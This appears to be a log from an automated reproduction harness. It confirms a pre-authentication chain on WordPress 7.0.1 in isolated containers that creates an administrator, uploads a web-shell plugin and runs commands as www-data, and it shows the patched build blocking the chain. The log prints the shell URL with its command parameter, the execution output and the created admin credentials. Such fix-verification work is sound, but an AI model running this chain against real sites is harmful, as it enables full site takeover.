fixed_source_commit=855551c4477bd5a0407221c57dae123c4163b434 ticket_vulnerable_source_tree_sha256=f7f6423f9ce0cf81d74750b2a13b78a43395a6dd8a7c2bbb43bda78c9507dd2a ticket_fixed_source_tree_sha256=52c660f970de921db4c4c31ef700dbdd396843a34706d144ec915fc811d704a1 fixed_archive_sha256=1c031d3909353a6fb9126146d5b01208317785f4074b87273c0864efcdfc5d84 prepared_repo=/data/pruva/project-cache/3bb30334-dfa8-4ffb-b1d2-f4c3350fb9af/repo fixed_commit_object=855551c4477bd5a0407221c57dae123c4163b434 fixed_commit_date=2026-07-17T17:58:37Z fixed_subject=Tag 7.0.2 requested=["wordpress@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5"] image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 requested=["mysql@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b"] image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b requested=["python@sha256:423ed6ab25b1921a477529254bfeeabf5855151dc2c3141699a1bfc852199fbf"] image_id=sha256:423ed6ab25b1921a477529254bfeeabf5855151dc2c3141699a1bfc852199fbf installed_with_unrecoverable_random_owner_password=true installed_with_unrecoverable_random_owner_password=true driver=pruva-w2s-admin-178437991174338-driver provider_ip=11.77.1.2 vulnerable_target=pruva-w2s-admin-178437991174338-vuln-wp fixed_target=pruva-w2s-admin-178437991174338-fixed-wp boundary=unauthenticated HTTP from distinct driver container to stock Apache/PHP/WordPress network=pruva-w2s-admin-178437991174338-vuln internal=true containers=2 network=pruva-w2s-admin-178437991174338-fixed internal=true containers=2 role=vulnerable wordpress_image=wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 wordpress_image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 mysql_image=mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b mysql_image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b wordpress_version=7.0.1 wordpress_mounts=[{"Type":"volume","Name":"e1800b8ebad0099ebb6f4ab48c1d6903f980e31605c32083551e36fb005bbf07","Source":"/var/lib/docker/volumes/e1800b8ebad0099ebb6f4ab48c1d6903f980e31605c32083551e36fb005bbf07/_data","Destination":"/var/www/html","Driver":"local","Mode":"","RW":true,"Propagation":""}] plugins_before_begin akismet/.htaccess akismet/LICENSE.txt akismet/akismet.php akismet/changelog.txt akismet/class-akismet-abilities.php akismet/class-akismet-compatible-plugins.php akismet/class-akismet-connector.php akismet/class.akismet-admin.php akismet/class.akismet-cli.php akismet/class.akismet-rest-api.php akismet/class.akismet-widget.php akismet/class.akismet.php akismet/index.php akismet/readme.txt akismet/wrapper.php hello.php index.php plugins_before_end mu_plugins_before_begin mu_plugins_before_end user_count=1 oembed_count=0 local_infile=0 GRANT USAGE ON *.* TO `wordpress`@`%` GRANT ALL PRIVILEGES ON `wordpress`.* TO `wordpress`@`%` user_count=1 user=1:owner admin=1:owner oembed_count=0 plugin_option=a:0:{} role=fixed wordpress_image=wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 wordpress_image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 mysql_image=mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b mysql_image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b wordpress_version=7.0.2-src wordpress_mounts=[{"Type":"volume","Name":"49cc17076679a27337f13c1c655c9dd2adf38c8cc16290f8a9eea3e4ba39d9d7","Source":"/var/lib/docker/volumes/49cc17076679a27337f13c1c655c9dd2adf38c8cc16290f8a9eea3e4ba39d9d7/_data","Destination":"/var/www/html","Driver":"local","Mode":"","RW":true,"Propagation":""}] plugins_before_begin akismet/.htaccess akismet/LICENSE.txt akismet/akismet.php akismet/changelog.txt akismet/class-akismet-abilities.php akismet/class-akismet-compatible-plugins.php akismet/class-akismet-connector.php akismet/class.akismet-admin.php akismet/class.akismet-cli.php akismet/class.akismet-rest-api.php akismet/class.akismet-widget.php akismet/class.akismet.php akismet/index.php akismet/readme.txt akismet/wrapper.php hello.php index.php plugins_before_end mu_plugins_before_begin mu_plugins_before_end user_count=1 oembed_count=0 local_infile=0 GRANT USAGE ON *.* TO `wordpress`@`%` GRANT ALL PRIVILEGES ON `wordpress`.* TO `wordpress`@`%` user_count=1 user=1:owner admin=1:owner oembed_count=0 plugin_option=a:0:{} { "seed_rows": [ [ 5, "fda8cf836345767c37eca58bf744f466" ], [ 6, "bb8d64a360001906ee7d8f2b3449cc63" ], [ 7, "d14cd13f1709fdb1320a5b85492e8936" ], [ 8, "a170fa07930bc9691969b3f282d6fc02" ], [ 9, "d317629ebe97ce467767432a9cfbc1ba" ] ], "stylesheet": "twentytwentyfive", "custom_css_id": 10, "administrator": { "id": 2, "username": "w2s_39a6b7af90", "password": "W2s!c-uP5vo7GYuN5oICo7cfpt3J", "email": "w2s_39a6b7af90@example.invalid", "roles": [ "administrator" ] }, "rce": { "normal_login_confirmed": true, "plugin_upload_confirmed": true, "shell_url": "http://pruva-w2s-admin-178437991174338-vuln-wp/wp-content/plugins/pruva-chain-proof-b9703442b4/pruva-chain-proof-b9703442b4.php?pruva_proof=printf+%27PRUVA-CMD-MARKER%5Cn%27%3B+id", "command": "printf 'PRUVA-CMD-MARKER\\n'; id", "output": "PRUVA-RCE-BEGIN\nPRUVA-CMD-MARKER\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\nPRUVA-RCE-EXIT:0\n" } } PRUVA-RCE-BEGIN PRUVA-CMD-MARKER uid=33(www-data) gid=33(www-data) groups=33(www-data) PRUVA-RCE-EXIT:0 user_count=2 user=1:owner user=2:w2s_39a6b7af90 admin=1:owner admin=2:w2s_39a6b7af90 oembed_count=2 plugin_option=a:0:{} Traceback (most recent call last): File "/opt/pruva/wp2shell_full_chain.py", line 210, in raise SystemExit(main()) ^^^^^^ File "/opt/pruva/wp2shell_full_chain.py", line 205, in main print(json.dumps(run_chain(args.base_url, args.provider_target), indent=2)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/pruva/wp2shell_full_chain.py", line 88, in run_chain seed_oembed_cache( File "/opt/pruva/wp2shell_full_chain.py", line 50, in seed_oembed_cache raise RuntimeError("oEmbed seed did not create a discoverable cache row") RuntimeError: oEmbed seed did not create a discoverable cache row user_count=1 user=1:owner admin=1:owner oembed_count=0 plugin_option=a:0:{} installed_with_unrecoverable_random_owner_password=true installed_with_unrecoverable_random_owner_password=true role=second-vulnerable wordpress_image=wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 wordpress_image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 mysql_image=mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b mysql_image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b wordpress_version=7.0.1 wordpress_mounts=[{"Type":"volume","Name":"a8c27ee97847f7b2847156b01f2f96e5cb8d62bbbcc540d3332c6abd8ef05056","Source":"/var/lib/docker/volumes/a8c27ee97847f7b2847156b01f2f96e5cb8d62bbbcc540d3332c6abd8ef05056/_data","Destination":"/var/www/html","Driver":"local","Mode":"","RW":true,"Propagation":""}] plugins_before_begin akismet/.htaccess akismet/LICENSE.txt akismet/akismet.php akismet/changelog.txt akismet/class-akismet-abilities.php akismet/class-akismet-compatible-plugins.php akismet/class-akismet-connector.php akismet/class.akismet-admin.php akismet/class.akismet-cli.php akismet/class.akismet-rest-api.php akismet/class.akismet-widget.php akismet/class.akismet.php akismet/index.php akismet/readme.txt akismet/wrapper.php hello.php index.php plugins_before_end mu_plugins_before_begin mu_plugins_before_end user_count=1 oembed_count=0 local_infile=0 GRANT USAGE ON *.* TO `wordpress`@`%` GRANT ALL PRIVILEGES ON `wordpress`.* TO `wordpress`@`%` role=second-fixed wordpress_image=wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 wordpress_image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 mysql_image=mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b mysql_image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b wordpress_version=7.0.2-src wordpress_mounts=[{"Type":"volume","Name":"25c73d48bcadcb6c0c09cad923e1a9926a2ff2f958e9cb01e05b07680f4e521c","Source":"/var/lib/docker/volumes/25c73d48bcadcb6c0c09cad923e1a9926a2ff2f958e9cb01e05b07680f4e521c/_data","Destination":"/var/www/html","Driver":"local","Mode":"","RW":true,"Propagation":""}] plugins_before_begin akismet/.htaccess akismet/LICENSE.txt akismet/akismet.php akismet/changelog.txt akismet/class-akismet-abilities.php akismet/class-akismet-compatible-plugins.php akismet/class-akismet-connector.php akismet/class.akismet-admin.php akismet/class.akismet-cli.php akismet/class.akismet-rest-api.php akismet/class.akismet-widget.php akismet/class.akismet.php akismet/index.php akismet/readme.txt akismet/wrapper.php hello.php index.php plugins_before_end mu_plugins_before_begin mu_plugins_before_end user_count=1 oembed_count=0 local_infile=0 GRANT USAGE ON *.* TO `wordpress`@`%` GRANT ALL PRIVILEGES ON `wordpress`.* TO `wordpress`@`%` { "seed_rows": [ [ 5, "103ce7db0f44323199738e851ef791f8" ], [ 6, "b1333cd638c65268d301f29798886a47" ], [ 7, "41c71c0209c60f3a169432edcfecb0c4" ], [ 8, "5427e26b4c3580b2ab0aefda1d3c597d" ], [ 9, "368a48e554082e8aa8510745c884d556" ] ], "stylesheet": "twentytwentyfive", "custom_css_id": 10, "administrator": { "id": 2, "username": "w2s_2a2f12ced9", "password": "W2s!OA_sPacNCYV6fJjEuUdS-8rD", "email": "w2s_2a2f12ced9@example.invalid", "roles": [ "administrator" ] }, "rce": { "normal_login_confirmed": true, "plugin_upload_confirmed": true, "shell_url": "http://pruva-w2s-admin-178437991174338-vuln-wp/wp-content/plugins/pruva-chain-proof-b123411447/pruva-chain-proof-b123411447.php?pruva_proof=printf+%27PRUVA-CMD-MARKER%5Cn%27%3B+id", "command": "printf 'PRUVA-CMD-MARKER\\n'; id", "output": "PRUVA-RCE-BEGIN\nPRUVA-CMD-MARKER\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\nPRUVA-RCE-EXIT:0\n" } } PRUVA-RCE-BEGIN PRUVA-CMD-MARKER uid=33(www-data) gid=33(www-data) groups=33(www-data) PRUVA-RCE-EXIT:0 user_count=2 user=1:owner user=2:w2s_2a2f12ced9 admin=1:owner admin=2:w2s_2a2f12ced9 oembed_count=2 plugin_option=a:0:{} Traceback (most recent call last): File "/opt/pruva/wp2shell_full_chain.py", line 210, in raise SystemExit(main()) ^^^^^^ File "/opt/pruva/wp2shell_full_chain.py", line 205, in main print(json.dumps(run_chain(args.base_url, args.provider_target), indent=2)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/pruva/wp2shell_full_chain.py", line 88, in run_chain seed_oembed_cache( File "/opt/pruva/wp2shell_full_chain.py", line 50, in seed_oembed_cache raise RuntimeError("oEmbed seed did not create a discoverable cache row") RuntimeError: oEmbed seed did not create a discoverable cache row user_count=1 user=1:owner admin=1:owner oembed_count=0 plugin_option=a:0:{} second_clean_vulnerable=confirmed second_clean_fixed=blocked_before_first_oembed_discovery uid=33(www-data) gid=33(www-data) groups=33(www-data) user_count=1 oembed_count=0 [+] CONFIRMED: WordPress 7.0.1 pre-auth fresh-administrator chain to command execution [+] Two clean vulnerable/fixed matrices passed